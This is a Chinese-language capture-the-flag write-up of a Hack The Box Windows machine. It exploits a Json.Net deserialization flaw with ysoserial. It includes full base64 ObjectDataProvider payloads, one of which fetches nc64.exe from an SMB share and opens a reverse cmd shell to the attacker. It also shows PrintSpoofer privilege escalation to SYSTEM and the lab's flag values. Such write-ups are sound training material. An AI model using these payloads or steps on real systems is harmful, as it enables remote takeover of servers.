-s, --stdin The command to be executed will be read from
standard input.
--bgc, --bridgedgadgetchains=VALUE
Chain of bridged gadgets separated by comma (,).
Each gadget will be used to complete the next
bridge gadget. The last one will be used in the
requested gadget. This will be ignored when
using the searchformatter argument.
-t, --test Whether to run payload locally. Default: false
--outputpath=VALUE The output file path. It will be ignored if
empty.
--minify Whether to minify the payloads where applicable.
Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple
(always `true` with `--minify` for binary
formatters). Default: true
--raf, --runallformatters
Whether to run all the gadgets with the provided
formatter (ignores gadget name, output format,
and the test flag arguments). This will search
in formatters and also show the displayed
payload length. Default: false
--sf, --searchformatter=VALUE
Search in all formatters to show relevant
gadgets and their formatters (other parameters
will be ignored).
--debugmode Enable debugging to show exception errors and
[options]
先用 ping 命令做简化的 Payload，先验证是否有反序列化漏洞。
PS C:\Users\admin\Desktop\ysoserial > .\ysoserial.exe -c "ping -n 10 10.10.16.21" -o
base64 -g ObjectDataProvider -f Json.Net
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50Y
XRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmF
tZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5M
zRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBpbmcgLW4gMTAgMTAuMTAuMTYuMjEnXQ
0KICAgIH0sDQogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2N
lc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3
N2E1YzU2MTkzNGUwODknfQ0KfQ==
Kali 中捕获的 ping 访问，证明这处反序列化是存在漏洞的，可以尝试利用，看能否获得系统 shell。响应的中
的报错，可以忽略，它提示类型转换的问题不奇怪，因为我们给它的 bearer 的确不是 token
反序列化漏洞利用
准备 nc 下载环境
┌──(kali㉿kali)-[~/Desktop/HTB JSON]
└─$ ls -liah nc64.exe
527216 -rw-rw-r-- 1 kali kali 45K Jul 20 03:21 nc64.exe
┌──(kali㉿kali)-[~/Desktop/HTB JSON]
└─$ file nc64.exe
nc64.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 7 sections
┌──(kali㉿kali)-[~/Desktop/HTB JSON]
└─$ sudo impacket-smbserver RedteamNotes . -smb2support
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
具体操作生成 Payload
.\ysoserial.exe -c "START /B
\\10.10.16.21\RedteamNotes\nc64.exe 10.10.16.21 443 -e cmd.exe" -o base64 -g
ObjectDataProvider -f Json.Net
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50Y
XRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmF
tZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5M
zRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIFNUQVJUIC9CIFxcXFwxMC4xMC4xNi4yMV
xcUmVkdGVhbU5vdGVzXFxuYzY0LmV4ZSAxMC4xMC4xNi4yMSA0NDMgLWUgY21kLmV4ZSddDQogICAgfSwNCiA
gICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVt
LCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0Z
TA4OSd9DQp9
-c 表示 command，指定执行的系统命令。
START /B：启动新进程，在 Windows 上后台运行，不打开新窗口。这里是执行一个后台任务。
-o 表示输出的格式。这里指定输出为 Base 64 编码的结果。
-g 表示使用的 gadget，它们在反序列化过程中可以被利用来执行任意代码。ObjectDataProvider
是此处指定的 gadget 类型，它是 WPF 框架中的一个类，常常被用来在 .NET 反序列化攻击中被滥
用，执行命令注入。攻击者通过操纵这些对象可以在目标系统上执行恶意代码。WPF（Windows
Presentation Foundation）是微软推出的一种用于构建桌面应用程序的图形子系统，主要用于
Windows 操作系统。它是 .NET Framework 的一部分，允许开发人员使用 XAML（Extensible
Application Markup Language）和编程语言（如 C#）来创建用户界面。
-f 表示序列化框架，Json. Net 是目标使用的序列化框架。
做好 443 端口的监听
sudo rlwrap nc -lvnp 443
在 Burp Suite 的 Repeater 中，将 Bearer 字段替换为新生成的 Payload，然后发送请求
几乎在请求发送的同时，看到 smbserver 中的出现日志，证明访问并下载了 nc 64. Exe 工具，然后等待 5 秒钟
左右，看到反弹一个 cmd 类型的 shell。
看是否有 flag
c:\windows\system32\inetsrv>dir c:\users\*.txt /s
Volume in drive C has no label.
Volume Serial Number is AEF2-0DF2
Directory of c:\users\All Users\VMware\VMware
CAF\pme\data\input\persistence\protocol\amqpBroker_default
05/22/2019 04:28 PM 79 uri_amqp.txt
05/22/2019 04:28 PM 63 uri_tunnel.txt
2 File(s) 142 bytes
Directory of c:\users\All Users\VMware\VMware Tools
05/22/2019 04:28 PM 4,344 manifest.txt
1 File(s) 4,344 bytes
Directory of c:\users\All Users\VMware\VMware Tools\Unity Filters
02/20/2019 04:11 AM 1,433 adobeflashcs3.txt
02/20/2019 04:11 AM 1,712 adobephotoshopcs3.txt
02/20/2019 04:11 AM 588 googledesktop.txt
02/20/2019 04:11 AM 1,265 microsoftoffice.txt
02/20/2019 04:11 AM 907 vistasidebar.txt
02/20/2019 04:11 AM 152 visualstudio2005.txt
02/20/2019 04:11 AM 3,739 vmwarefilters.txt
02/20/2019 04:11 AM 399 win7gadgets.txt
8 File(s) 10,195 bytes
Directory of c:\users\userpool\AppData\Local\Microsoft\Internet Explorer
05/22/2019 05:07 PM 6,501 brndlog.txt
1 File(s) 6,501 bytes
Directory of c:\users\userpool\AppData\Local\Microsoft\Windows\INetCookies
03/17/2021 11:00 AM 109 HZTIQM7I.txt
03/17/2021 11:00 AM 561 RRKE191U.txt
2 File(s) 670 bytes
Directory of c:\users\userpool\Desktop
09/30/2024 02:57 AM 34 user.txt
1 File(s) 34 bytes
Total Files Listed:
15 File(s) 21,886 bytes
0 Dir(s) 4,618,391,552 bytes free
看见有 user. Txt
type c:\users\userpool\Desktop\user.txt
67350be8700e686b2e40b8ca6ace073c
获得 user flag。
提权
看当前用户权限
sudo rlwrap -cAr nc -lvnp 443
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.227.191] 49461
Microsoft Windows
(c) 2013 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
看到有 SeImpersonatePrivilege 权限，应该想到烂土豆提权。
尝试使用 GitHub 中的工具提权
c:\ProgramData\apps>.\PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::136
IPv6 Address. . . . . . . . . . . : dead:beef::a84d:54b1:54c2:2271
Link-local IPv6 Address . . . . . : fe80::a84d:54b1:54c2:2271%15
IPv4 Address. . . . . . . . . . . : 10.129.227.191
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:acf1%15
10.129.0.1
Tunnel adapter isatap..htb:
[Version 6.3.9600]
提权成功
找一下 flag
C:\Windows\system32>dir c:\users\
Volume in drive C has no label.
Volume Serial Number is AEF2-0DF2
Directory of c:\users
03/17/2021 11:00 AM <DIR> .
03/17/2021 11:00 AM <DIR> ..
05/22/2019 04:52 PM <DIR> .NET v2.0
05/22/2019 04:52 PM <DIR> .NET v2.0 Classic
05/22/2019 04:52 PM <DIR> .NET v4.5
05/22/2019 04:52 PM <DIR> .NET v4.5 Classic
03/17/2021 11:01 AM <DIR> Administrator
05/22/2019 04:52 PM <DIR> Classic .NET AppPool
08/22/2013 11:39 AM <DIR> Public
05/22/2019 05:37 PM <DIR> superadmin
05/22/2019 05:07 PM <DIR> userpool
0 File(s) 0 bytes
11 Dir(s) 4,620,693,504 bytes free
C:\Windows\system32>type c:\users\administrator\desktop\*.txt
The system cannot find the file specified.
C:\Windows\system32>type c:\users\superadmin\desktop\*.txt
c:\users\superadmin\desktop\root.txt
5c651fb411e62f4e655bef97c4db8161
浙公网安备 33010602011771号